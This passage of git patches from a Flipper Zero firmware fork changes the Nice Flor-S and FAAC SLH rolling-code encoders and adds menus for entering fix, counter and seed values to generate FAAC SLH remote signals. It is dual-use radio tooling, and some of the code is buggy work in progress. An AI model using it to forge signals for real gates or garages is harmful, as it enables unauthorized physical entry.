2 + 2) * 2); + size_t size_upload = ((instance->generic.data_count_bit * 2) + ((34 + 2 + 2) * 2) * 16); if(size_upload > instance->encoder.size_upload) { FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer."); } else { @@ -154,10 +154,8 @@ static void FURI_LOG_I(TAG, "key = %5X%8X", hi, lo); //Send header - for(uint8_t i = 34; i > 0; i--) { - instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short); - } + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 34); //Send start bit instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); From 2e61b38c6f84bfe3ba4b5d14b7628f0b208cf8ff Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 13 Apr 2022 17:15:36 +0300 Subject: [PATCH 086/461] Update faac_slh.c Fix faac slh encoder, testing new seed value --- lib/subghz/protocols/faac_slh.c | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 25222e408..9a2c35a1b 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -116,7 +116,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst uint32_t hop = 0; uint32_t decrypt = 0; uint64_t man = 0; - instance->generic.seed = 0x77ED7698; + instance->generic.seed = 0x7C81AD20; int res = 0; char fixx[8] = {}; int shiftby = 32; @@ -179,12 +179,10 @@ static bool } //Send header - for(uint8_t i = 11; i > 0; i--) { - instance->encoder.upload[index++] = - level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_long * 2); - instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_short * 2); - } + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_long * 2); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_long * 2); //Send key data for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { @@ -380,7 +378,7 @@ static void subghz_protocol_faac_slh_check_remote_controller instance->btn = code_fix & 0xF; uint32_t decrypt = 0; uint64_t man; - instance->seed = 0x77ED7698; + instance->seed = 0x7C81AD20; for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { From d4bc3b85082db225d6120bd7215001df4ddef859 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Thu, 14 Apr 2022 21:51:35 +0300 Subject: [PATCH 087/461] Update ReadMe.md --- ReadMe.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index 9942d473d..e02eb68e5 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -134,7 +134,7 @@ make whole # Links -* Discord: [flipp.dev/discord](https://flipp.dev/discord) +* Discord: [discord.gg/58D6E8BtTU](https://discord.gg/58D6E8BtTU) * Website: [flipperzero.one](https://flipperzero.one) * Kickstarter page: [kickstarter.com](https://www.kickstarter.com/projects/flipper-devices/flipper-zero-tamagochi-for-hackers) * Forum: [forum.flipperzero.one](https://forum.flipperzero.one/) From 4b175323ec230de1373fc1293a671765c1b28527 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 15 Apr 2022 20:35:13 +0300 Subject: [PATCH 088/461] Seed input. Trying to create. --- .../subghz/helpers/subghz_custom_event.h | 1 + .../subghz/scenes/subghz_scene_config.h | 3 +- .../scenes/subghz_scene_receiver_info.c | 8 ---- .../subghz/scenes/subghz_scene_saved_menu.c | 15 +++++++ .../subghz/scenes/subghz_scene_seed.c | 43 +++++++++++++++++++ 5 files changed, 61 insertions(+), 9 deletions(-) create mode 100644 applications/subghz/scenes/subghz_scene_seed.c diff --git a/applications/subghz/helpers/subghz_custom_event.h b/applications/subghz/helpers/subghz_custom_event.h index 97920015a..1d6542ea2 100644 --- a/applications/subghz/helpers/subghz_custom_event.h +++ b/applications/subghz/helpers/subghz_custom_event.h @@ -13,6 +13,7 @@ typedef enum { SubGhzCustomEventSceneReceiverInfoTxStart, SubGhzCustomEventSceneReceiverInfoTxStop, SubGhzCustomEventSceneReceiverInfoSave, + SubGhzCustomEventByteInputDone, SubGhzCustomEventSceneSaveName, SubGhzCustomEventSceneSaveSuccess, SubGhzCustomEventSceneShowErrorBack, diff --git a/applications/subghz/scenes/subghz_scene_config.h b/applications/subghz/scenes/subghz_scene_config.h index 71cd26689..f6d43cf09 100644 --- a/applications/subghz/scenes/subghz_scene_config.h +++ b/applications/subghz/scenes/subghz_scene_config.h @@ -21,4 +21,5 @@ ADD_SCENE(subghz, frequency_analyzer, FrequencyAnalyzer) ADD_SCENE(subghz, read_raw, ReadRAW) ADD_SCENE(subghz, more_raw, MoreRAW) ADD_SCENE(subghz, delete_raw, DeleteRAW) -ADD_SCENE(subghz, need_saving, NeedSaving) \ No newline at end of file +ADD_SCENE(subghz, need_saving, NeedSaving) +ADD_SCENE(subghz, seed, Seed) \ No newline at end of file diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index 6b27cdb1d..92fe7ca5e 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -94,14 +94,6 @@ void subghz_scene_receiver_info_on_enter(void* context) { subghz_scene_receiver_info_callback, subghz); } - if(strcmp(subghz->txrx->decoder_result->protocol->name, "Faac SLH") == 0) { - widget_add_button_element( - subghz->widget, - GuiButtonTypeLeft, - "Seed", - subghz_scene_receiver_info_callback, - subghz); - } } else { widget_add_icon_element(subghz->widget, 32, 12, &I_DolphinFirstStart7_61x51); widget_add_string_element( diff --git a/applications/subghz/scenes/subghz_scene_saved_menu.c b/applications/subghz/scenes/subghz_scene_saved_menu.c index a65830f4b..74531c452 100644 --- a/applications/subghz/scenes/subghz_scene_saved_menu.c +++ b/applications/subghz/scenes/subghz_scene_saved_menu.c @@ -4,6 +4,7 @@ enum SubmenuIndex { SubmenuIndexEmulate, SubmenuIndexEdit, SubmenuIndexDelete, + SubmenuIndexSeed }; void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) { @@ -34,6 +35,15 @@ void subghz_scene_saved_menu_on_enter(void* context) { subghz_scene_saved_menu_submenu_callback, subghz); + if(strcmp(subghz->txrx->decoder_result->protocol->name, "Faac SLH") == 0) { + submenu_add_item( + subghz->submenu, + "Input Seed", + SubmenuIndexSeed, + subghz_scene_saved_menu_submenu_callback, + subghz); + } + submenu_set_selected_item( subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneSavedMenu)); @@ -60,6 +70,11 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexEdit); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); return true; + } else if(event.event == SubmenuIndexSeed) { + scene_manager_set_scene_state( + subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexSeed); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSeed); + return true; } } return false; diff --git a/applications/subghz/scenes/subghz_scene_seed.c b/applications/subghz/scenes/subghz_scene_seed.c new file mode 100644 index 000000000..9aa3232b6 --- /dev/null +++ b/applications/subghz/scenes/subghz_scene_seed.c @@ -0,0 +1,43 @@ +#include "../subghz_i.h" + +void subghz_scene_seed_byte_input_callback(void* context) { + SubGhz* subghz = (SubGhz*)context; + + view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); +} + +void subghz_scene_seed_on_enter(void* context) { + SubGhz* subghz = (SubGhz*) context; + + // Setup view + ByteInput* byte_input = subghz->byte_input; + byte_input_set_header_text(byte_input, "Enter seed in hex"); + byte_input_set_result_callback( + byte_input, + subghz_scene_seed_byte_input_callback, + NULL, + subghz, + subghz->txrx->seed_data->seed, + subghz->txrx->seed_data->seed_len); + view_dispatcher_swtich_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); +} + +bool subghz_scene_seed_on_event(void* context, SceneManagerEvent event) { + SubGhz* subghz = (SubGhz*)context; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubGhzCustomEventByteInputDone) { + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter); + return true; + } + } + return false; +} + +void subghz_scene_seed_on_exit(void* context) { + SubGhz* subghz = (SubGhz*)context; + + // Clear view + byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(subghz->byte_input, ""); +} \ No newline at end of file From 1752715f45831a1c1cce8ca1baf11fb46e564874 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 15 Apr 2022 20:43:44 +0300 Subject: [PATCH 089/461] Update subghz_scene_seed.c fix syntax --- applications/subghz/scenes/subghz_scene_seed.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/subghz/scenes/subghz_scene_seed.c b/applications/subghz/scenes/subghz_scene_seed.c index 9aa3232b6..5380a0b42 100644 --- a/applications/subghz/scenes/subghz_scene_seed.c +++ b/applications/subghz/scenes/subghz_scene_seed.c @@ -19,7 +19,7 @@ void subghz_scene_seed_on_enter(void* context) { subghz, subghz->txrx->seed_data->seed, subghz->txrx->seed_data->seed_len); - view_dispatcher_swtich_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); + view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); } bool subghz_scene_seed_on_event(void* context, SceneManagerEvent event) { From 828b3dbcb2768e5199dd841b06f7b9460200990c Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 15 Apr 2022 21:48:13 +0300 Subject: [PATCH 090/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 9a2c35a1b..48ae15e4d 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -8,6 +8,7 @@ #include "../blocks/encoder.h" #include "../blocks/generic.h" #include "../blocks/math.h" +#include "../applications/subghz/subghz_i.h" #define TAG "SubGhzProtocolFaacSHL" @@ -116,7 +117,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst uint32_t hop = 0; uint32_t decrypt = 0; uint64_t man = 0; - instance->generic.seed = 0x7C81AD20; + instance->generic.seed = 0; int res = 0; char fixx[8] = {}; int shiftby = 32; @@ -378,7 +379,7 @@ static void subghz_protocol_faac_slh_check_remote_controller instance->btn = code_fix & 0xF; uint32_t decrypt = 0; uint64_t man; - instance->seed = 0x7C81AD20; + instance->seed = 0; for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { From 4bda9d966ef565f9624a1c318b7c7c74cebf86ae Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 15 Apr 2022 21:56:26 +0300 Subject: [PATCH 091/461] rollback2 --- .../subghz/helpers/subghz_custom_event.h | 1 - .../subghz/scenes/subghz_scene_config.h | 3 +- .../subghz/scenes/subghz_scene_saved_menu.c | 15 ------- .../subghz/scenes/subghz_scene_seed.c | 43 ------------------- lib/subghz/protocols/faac_slh.c | 1 - 5 files changed, 1 insertion(+), 62 deletions(-) delete mode 100644 applications/subghz/scenes/subghz_scene_seed.c diff --git a/applications/subghz/helpers/subghz_custom_event.h b/applications/subghz/helpers/subghz_custom_event.h index 1d6542ea2..97920015a 100644 --- a/applications/subghz/helpers/subghz_custom_event.h +++ b/applications/subghz/helpers/subghz_custom_event.h @@ -13,7 +13,6 @@ typedef enum { SubGhzCustomEventSceneReceiverInfoTxStart, SubGhzCustomEventSceneReceiverInfoTxStop, SubGhzCustomEventSceneReceiverInfoSave, - SubGhzCustomEventByteInputDone, SubGhzCustomEventSceneSaveName, SubGhzCustomEventSceneSaveSuccess, SubGhzCustomEventSceneShowErrorBack, diff --git a/applications/subghz/scenes/subghz_scene_config.h b/applications/subghz/scenes/subghz_scene_config.h index f6d43cf09..71cd26689 100644 --- a/applications/subghz/scenes/subghz_scene_config.h +++ b/applications/subghz/scenes/subghz_scene_config.h @@ -21,5 +21,4 @@ ADD_SCENE(subghz, frequency_analyzer, FrequencyAnalyzer) ADD_SCENE(subghz, read_raw, ReadRAW) ADD_SCENE(subghz, more_raw, MoreRAW) ADD_SCENE(subghz, delete_raw, DeleteRAW) -ADD_SCENE(subghz, need_saving, NeedSaving) -ADD_SCENE(subghz, seed, Seed) \ No newline at end of file +ADD_SCENE(subghz, need_saving, NeedSaving) \ No newline at end of file diff --git a/applications/subghz/scenes/subghz_scene_saved_menu.c b/applications/subghz/scenes/subghz_scene_saved_menu.c index 74531c452..a65830f4b 100644 --- a/applications/subghz/scenes/subghz_scene_saved_menu.c +++ b/applications/subghz/scenes/subghz_scene_saved_menu.c @@ -4,7 +4,6 @@ enum SubmenuIndex { SubmenuIndexEmulate, SubmenuIndexEdit, SubmenuIndexDelete, - SubmenuIndexSeed }; void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) { @@ -35,15 +34,6 @@ void subghz_scene_saved_menu_on_enter(void* context) { subghz_scene_saved_menu_submenu_callback, subghz); - if(strcmp(subghz->txrx->decoder_result->protocol->name, "Faac SLH") == 0) { - submenu_add_item( - subghz->submenu, - "Input Seed", - SubmenuIndexSeed, - subghz_scene_saved_menu_submenu_callback, - subghz); - } - submenu_set_selected_item( subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneSavedMenu)); @@ -70,11 +60,6 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexEdit); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); return true; - } else if(event.event == SubmenuIndexSeed) { - scene_manager_set_scene_state( - subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexSeed); - scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSeed); - return true; } } return false; diff --git a/applications/subghz/scenes/subghz_scene_seed.c b/applications/subghz/scenes/subghz_scene_seed.c deleted file mode 100644 index 5380a0b42..000000000 --- a/applications/subghz/scenes/subghz_scene_seed.c +++ /dev/null @@ -1,43 +0,0 @@ -#include "../subghz_i.h" - -void subghz_scene_seed_byte_input_callback(void* context) { - SubGhz* subghz = (SubGhz*)context; - - view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); -} - -void subghz_scene_seed_on_enter(void* context) { - SubGhz* subghz = (SubGhz*) context; - - // Setup view - ByteInput* byte_input = subghz->byte_input; - byte_input_set_header_text(byte_input, "Enter seed in hex"); - byte_input_set_result_callback( - byte_input, - subghz_scene_seed_byte_input_callback, - NULL, - subghz, - subghz->txrx->seed_data->seed, - subghz->txrx->seed_data->seed_len); - view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); -} - -bool subghz_scene_seed_on_event(void* context, SceneManagerEvent event) { - SubGhz* subghz = (SubGhz*)context; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubGhzCustomEventByteInputDone) { - scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter); - return true; - } - } - return false; -} - -void subghz_scene_seed_on_exit(void* context) { - SubGhz* subghz = (SubGhz*)context; - - // Clear view - byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); - byte_input_set_header_text(subghz->byte_input, ""); -} \ No newline at end of file diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 48ae15e4d..7eeba5af3 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -8,7 +8,6 @@ #include "../blocks/encoder.h" #include "../blocks/generic.h" #include "../blocks/math.h" -#include "../applications/subghz/subghz_i.h" #define TAG "SubGhzProtocolFaacSHL" From f2ec0a652a0a9fe6b2a2b53266b0db3451099e27 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 19 Apr 2022 00:32:25 +0300 Subject: [PATCH 092/461] Faac SLH add manually --- .../subghz/helpers/subghz_custom_event.h | 2 + .../subghz/scenes/subghz_scene_config.h | 3 + .../subghz/scenes/subghz_scene_set_cnt.c | 43 +++++++++++ .../subghz/scenes/subghz_scene_set_fix.c | 43 +++++++++++ .../subghz/scenes/subghz_scene_set_seed.c | 43 +++++++++++ .../subghz/scenes/subghz_scene_set_type.c | 42 ++++++++++ applications/subghz/subghz_i.h | 12 +++ lib/subghz/protocols/faac_slh.c | 76 +++++++++++++------ lib/subghz/protocols/faac_slh.h | 24 ++++++ 9 files changed, 264 insertions(+), 24 deletions(-) create mode 100644 applications/subghz/scenes/subghz_scene_set_cnt.c create mode 100644 applications/subghz/scenes/subghz_scene_set_fix.c create mode 100644 applications/subghz/scenes/subghz_scene_set_seed.c diff --git a/applications/subghz/helpers/subghz_custom_event.h b/applications/subghz/helpers/subghz_custom_event.h index 97920015a..5dbcdfc14 100644 --- a/applications/subghz/helpers/subghz_custom_event.h +++ b/applications/subghz/helpers/subghz_custom_event.h @@ -43,4 +43,6 @@ typedef enum { SubGhzCustomEventViewTransmitterSendStart, SubGhzCustomEventViewTransmitterSendStop, SubGhzCustomEventViewTransmitterError, + + SubGhzCustomEventByteInputDone, } SubGhzCustomEvent; diff --git a/applications/subghz/scenes/subghz_scene_config.h b/applications/subghz/scenes/subghz_scene_config.h index 71cd26689..d1e7e8a94 100644 --- a/applications/subghz/scenes/subghz_scene_config.h +++ b/applications/subghz/scenes/subghz_scene_config.h @@ -17,6 +17,9 @@ ADD_SCENE(subghz, test_static, TestStatic) ADD_SCENE(subghz, test_carrier, TestCarrier) ADD_SCENE(subghz, test_packet, TestPacket) ADD_SCENE(subghz, set_type, SetType) +ADD_SCENE(subghz, set_fix, SetFix) +ADD_SCENE(subghz, set_cnt, SetCnt) +ADD_SCENE(subghz, set_seed, SetSeed) ADD_SCENE(subghz, frequency_analyzer, FrequencyAnalyzer) ADD_SCENE(subghz, read_raw, ReadRAW) ADD_SCENE(subghz, more_raw, MoreRAW) diff --git a/applications/subghz/scenes/subghz_scene_set_cnt.c b/applications/subghz/scenes/subghz_scene_set_cnt.c new file mode 100644 index 000000000..e124d7e6a --- /dev/null +++ b/applications/subghz/scenes/subghz_scene_set_cnt.c @@ -0,0 +1,43 @@ +#include "../subghz_i.h" + +void subghz_scene_set_cnt_byte_input_callback(void* context) { + SubGhz* subghz = (SubGhz*)context; + + view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); +} + +void subghz_scene_set_cnt_on_enter(void* context) { + SubGhz* subghz = (SubGhz*)context; + + // Setup view + ByteInput* byte_input = subghz->byte_input; + byte_input_set_header_text(byte_input, "Enter COUNTER in hex"); + byte_input_set_result_callback( + byte_input, + subghz_scene_set_cnt_byte_input_callback, + NULL, + subghz, + subghz->txrx->cnt_data->cnt, + 2); + view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); +} + +bool subghz_scene_set_cnt_on_event(void* context, SceneManagerEvent event) { + SubGhz* subghz = (SubGhz*)context; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubGhzCustomEventByteInputDone) { + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetSeed); + return true; + } + } + return false; +} + +void subghz_scene_set_cnt_on_exit(void* context) { + SubGhz* subghz = (SubGhz*)context; + + // Clear view + byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(subghz->byte_input, ""); +} diff --git a/applications/subghz/scenes/subghz_scene_set_fix.c b/applications/subghz/scenes/subghz_scene_set_fix.c new file mode 100644 index 000000000..f3ab46385 --- /dev/null +++ b/applications/subghz/scenes/subghz_scene_set_fix.c @@ -0,0 +1,43 @@ +#include "../subghz_i.h" + +void subghz_scene_set_fix_byte_input_callback(void* context) { + SubGhz* subghz = (SubGhz*)context; + + view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); +} + +void subghz_scene_set_fix_on_enter(void* context) { + SubGhz* subghz = (SubGhz*)context; + + // Setup view + ByteInput* byte_input = subghz->byte_input; + byte_input_set_header_text(byte_input, "Enter FIX in hex"); + byte_input_set_result_callback( + byte_input, + subghz_scene_set_fix_byte_input_callback, + NULL, + subghz, + subghz->txrx->fix_data->fix, + 4); + view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); +} + +bool subghz_scene_set_fix_on_event(void* context, SceneManagerEvent event) { + SubGhz* subghz = (SubGhz*)context; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubGhzCustomEventByteInputDone) { + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetCnt); + return true; + } + } + return false; +} + +void subghz_scene_set_fix_on_exit(void* context) { + SubGhz* subghz = (SubGhz*)context; + + // Clear view + byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(subghz->byte_input, ""); +} diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c new file mode 100644 index 000000000..90b08633d --- /dev/null +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -0,0 +1,43 @@ +#include "../subghz_i.h" + +void subghz_scene_set_seed_byte_input_callback(void* context) { + SubGhz* subghz = (SubGhz*)context; + + view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); +} + +void subghz_scene_set_seed_on_enter(void* context) { + SubGhz* subghz = (SubGhz*)context; + + // Setup view + ByteInput* byte_input = subghz->byte_input; + byte_input_set_header_text(byte_input, "Enter COUNTER in hex"); + byte_input_set_result_callback( + byte_input, + subghz_scene_set_seed_byte_input_callback, + NULL, + subghz, + subghz->txrx->seed_data->seed, + 4); + view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); +} + +bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { + SubGhz* subghz = (SubGhz*)context; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubGhzCustomEventByteInputDone) { + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); + return true; + } + } + return false; +} + +void subghz_scene_set_seed_on_exit(void* context) { + SubGhz* subghz = (SubGhz*)context; + + // Clear view + byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(subghz->byte_input, ""); +} diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 22a151434..0d5231005 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -1,5 +1,6 @@ #include "../subghz_i.h" #include +#include #include #include #include @@ -8,6 +9,7 @@ #define TAG "SubGhzSetType" enum SubmenuIndex { + SubmenuIndexFaacSLH, SubmenuIndexPricenton, SubmenuIndexNiceFlo12bit, SubmenuIndexNiceFlo24bit, @@ -77,6 +79,12 @@ void subghz_scene_set_type_submenu_callback(void* context, uint32_t index) { void subghz_scene_set_type_on_enter(void* context) { SubGhz* subghz = context; + submenu_add_item( + subghz->submenu, + "Faac SLH_868", + SubmenuIndexFaacSLH, + subghz_scene_set_type_submenu_callback, + subghz); submenu_add_item( subghz->submenu, "Princeton_433", @@ -150,6 +158,40 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { //ToDo Fix uint32_t key = subghz_random_serial(); switch(event.event) { + case SubmenuIndexFaacSLH: + subghz->txrx->fix_data->fix_len = 4; + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFix); + uint32_t fix_part = subghz->txrx->fix_data->fix[0] << 24 | subghz->txrx->fix_data->fix[1] << 16 | + subghz->txrx->fix_data->fix[2] << 8 | subghz->txrx->fix_data->fix[3]; + + uint16_t cnt = subghz->txrx->cnt_data->cnt[0] << 8 | subghz->txrx->cnt_data->cnt[1] << 16; + + uint32_t seed = subghz->txrx->seed_data->seed[0] << 24 | subghz->txrx->seed_data->seed[1] << 16 | + subghz->txrx->seed_data->seed[2] << 8 | subghz->txrx->seed_data->seed[3]; + subghz->txrx->transmitter = + subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); + if(subghz->txrx->transmitter) { + subghz_protocol_faac_slh_create_data( + subghz->txrx->transmitter->protocol_instance, + subghz->txrx->fff_data, + fix_part >> 4, + fix_part & 0xf, + cnt, + seed, + "FAAC_SLH", + 868350000, + FuriHalSubGhzPresetOok650Async); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; case SubmenuIndexPricenton: key = (key & 0x00FFFFF0) | 0x4; //btn 0x1, 0x2, 0x4, 0x8 if(subghz_scene_set_type_submenu_gen_data_protocol(subghz, "Princeton", key, 24)) { diff --git a/applications/subghz/subghz_i.h b/applications/subghz/subghz_i.h index 22a60647c..49389b51e 100644 --- a/applications/subghz/subghz_i.h +++ b/applications/subghz/subghz_i.h @@ -86,6 +86,16 @@ typedef struct { uint8_t seed[4]; } SeedData; +typedef struct { + uint8_t fix_len; + uint8_t fix[4]; +} FixData; + +typedef struct { + uint8_t cnt_len; + uint8_t cnt[2]; +} CntData; + struct SubGhzTxRx { SubGhzWorker* worker; @@ -95,6 +105,8 @@ struct SubGhzTxRx { SubGhzProtocolDecoderBase* decoder_result; FlipperFormat* fff_data; SeedData* seed_data; + FixData* fix_data; + CntData* cnt_data; uint32_t frequency; FuriHalSubGhzPreset preset; diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 7eeba5af3..4c4bebd85 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -116,7 +116,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst uint32_t hop = 0; uint32_t decrypt = 0; uint64_t man = 0; - instance->generic.seed = 0; + //instance->generic.seed = 0; int res = 0; char fixx[8] = {}; int shiftby = 32; @@ -159,6 +159,31 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst return true; } +bool subghz_protocol_faac_slh_create_data( + void* context, + FlipperFormat* flipper_format, + uint32_t serial, + uint8_t btn, + uint16_t cnt, + uint32_t seed, + const char* manufacture_name, + uint32_t frequency, + FuriHalSubGhzPreset preset) { + furi_assert(context); + SubGhzProtocolEncoderFaacSLH* instance = context; + instance->generic.serial = serial; + instance->generic.cnt = cnt; + instance->generic.seed = seed; + instance->manufacture_name = manufacture_name; + instance->generic.data_count_bit = 64; + bool res = subghz_protocol_faac_slh_gen_data(instance); + if(res) { + res = + subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + } + return res; +} + /** * Generating an upload from data. * @param instance Pointer to a SubGhzProtocolEncoderFaacSLH instance @@ -373,31 +398,34 @@ static void subghz_protocol_faac_slh_check_remote_controller //uint64_t code_found_reverse = //subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit); uint32_t code_fix = instance->data >> 32; - uint32_t code_hop = instance->data & 0xFFFFFFFF; + //uint32_t code_hop = instance->data & 0xFFFFFFFF; instance->serial = code_fix >> 4; instance->btn = code_fix & 0xF; - uint32_t decrypt = 0; - uint64_t man; - instance->seed = 0; + //uint32_t decrypt = 0; + //uint64_t man; + //instance->seed = 0; - for - M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { - uint32_t hi = manufacture_code->key >> 32; - uint32_t lo = manufacture_code->key & 0xFFFFFFFF; - switch(manufacture_code->type) { - case KEELOQ_LEARNING_FAAC: - // FAAC Learning - man = subghz_protocol_keeloq_common_faac_learning(instance->seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); - uint32_t mlhi = man >> 32; - uint32_t mllo = man & 0xFFFFFFFF; - FURI_LOG_I(TAG, "man_learning: %8X%8X\n", mlhi, mllo); - decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man); - FURI_LOG_I(TAG, "hop: %8X\n", code_hop); - *manufacture_name = string_get_cstr(manufacture_code->name); - break; - } - } instance->cnt = (decrypt & 0xFFFF); +/** + * for + * M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { + * uint32_t hi = manufacture_code->key >> 32; + * uint32_t lo = manufacture_code->key & 0xFFFFFFFF; + * switch(manufacture_code->type) { + * case KEELOQ_LEARNING_FAAC: + * // FAAC Learning + * man = subghz_protocol_keeloq_common_faac_learning(instance->seed, manufacture_code->key); + * FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); + * uint32_t mlhi = man >> 32; + * uint32_t mllo = man & 0xFFFFFFFF; + * FURI_LOG_I(TAG, "man_learning: %8X%8X\n", mlhi, mllo); + * decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man); + * FURI_LOG_I(TAG, "hop: %8X\n", code_hop); + * *manufacture_name = string_get_cstr(manufacture_code->name); + * break; + * } + * } + */ + instance->cnt = 0x0; } uint8_t 